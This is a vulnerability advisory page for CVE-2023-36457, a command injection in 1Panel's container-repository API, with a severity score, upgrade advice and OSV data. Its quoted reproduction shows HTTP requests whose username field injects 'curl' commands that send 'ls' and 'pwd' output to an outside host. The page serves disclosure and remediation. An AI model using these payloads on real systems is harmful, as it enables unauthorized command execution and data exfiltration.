CVE-2023-36457: Github.com/1Panel dev/1Panel 1Panel Vulnerable To Command Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-q2mx-gpjf-3h8x
Share
CVSS 6.3
CWE-74 CWE-77
Published
Advisory Summary

CVE-2023-36457 is a MODERATE (CVSS 6.3) 1panel vulnerable to command injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Github.com/1Panel dev/1Panel libraries in the Go ecosystem. The issue involves 1panel vulnerable to command injection when adding container repositories. Remediation is available by upgrading affected packages to version 1.3.6.

CVE-2023-36457 at a Glance

CVE Identifier CVE-2023-36457
GHSA Identifier GHSA-q2mx-gpjf-3h8x
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product Github.com/1Panel dev/1Panel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2023-36457

To remediate this vulnerability, upgrade all affected Github.com/1Panel dev/1Panel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/1Panel-dev/1Panel fixed: 1.3.6 
Upgrade github.com/1Panel-dev/1Panel to 1.3.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for github.com/1Panel-dev/1Panel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-36457, inspect your project dependencies for Github.com/1Panel dev/1Panel:

inspect dependencies for github.com/1Panel-dev/1Panel

Analyze the terminal output to locate any version of Github.com/1Panel dev/1Panel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Github.com/1Panel dev/1Panel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. 1. Vulnerability analysis. ``` backend\app\api\v1\image_repo.go#create ``` ![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png) ``` backend\app\service\image_repo.go#CheckConn ``` ![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png) 2. vulnerability reproduction. ``` POST /api/v1/containers/repo HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 446 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e ``` ``` {"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"} ``` 3. Using update can be triggered multiple times. ``` POST /api/v1/containers/repo/update HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 447 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e ``` ``` {"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"} ``` Affected versions: <= 1.3.5 ### Patches The vulnerability has been fixed in v1.3.6. ### Workarounds It is recommended to upgrade the version to v1.3.6. ### References If you have any questions or comments about this advisory: Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com

CVE-2023-36457 Affected Github.com/1Panel dev/1Panel Versions

1 component(s)
Fixed Versions:
1.3.6
Product / Package Ecosystem Affected Versions Fixed Version
github.com/1Panel-dev/1Panel
golang/github.com/1Panel-dev/1Panel
Go
< 1.3.6
1.3.6

References

GitHub Advisory / Wiki ADVISORY
https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x
NVD — CVE-2023-36457 NVD
https://nvd.nist.gov/vuln/detail/CVE-2023-36457
Github.com/1Panel dev/1Panel Source Repository REPOSITORY
https://github.com/1Panel-dev/1Panel
Github.com/1Panel dev/1Panel Release RELEASE
https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6

Frequently Asked Questions

What is CVE-2023-36457?
CVE-2023-36457 is a security vulnerability in Github.com/1Panel dev/1Panel involving 1Panel vulnerable to command injection when adding container repositories under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which Github.com/1Panel dev/1Panel versions are affected?
Affected versions include releases prior to 1.3.6 across affected packages: github.com/1Panel-dev/1Panel.
What version fixes CVE-2023-36457?
Upgrading to 1.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/1Panel-dev/1Panel affected?
Yes, github.com/1Panel-dev/1Panel is affected in releases prior to 1.3.6. Upgrade your dependency to 1.3.6 or later.
What is the CVSS score of CVE-2023-36457?
CVE-2023-36457 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2023-36457?
CVE-2023-36457 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2023-36457?
Run the dependency tree command: 'inspect dependencies for github.com/1Panel-dev/1Panel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q2mx-gpjf-3h8x",
  "modified" : "2023-07-05T21:38:07Z",
  "published" : "2023-07-05T21:38:07Z",
  "aliases" : [ "CVE-2023-36457" ],
  "summary" : "1Panel vulnerable to command injection when adding container repositories",
  "details" : "### Impact\n\nThe authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\image_repo.go#create\n```\n![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png)\n\n```\nbackend\\app\\service\\image_repo.go#CheckConn\n```\n![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png)\n\n2. vulnerability reproduction.\n\n```\nPOST /api/v1/containers/repo HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 446\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`ls`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\n3. Using update can be triggered multiple times.\n\n```\nPOST /api/v1/containers/repo/update HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 447\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`pwd`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\nAffected versions: <= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/1Panel-dev/1Panel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-36457"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/1Panel-dev/1Panel"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-77" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-05T21:38:07Z",
    "nvd_published_at" : "2023-07-05T21:15:09Z"
  }
}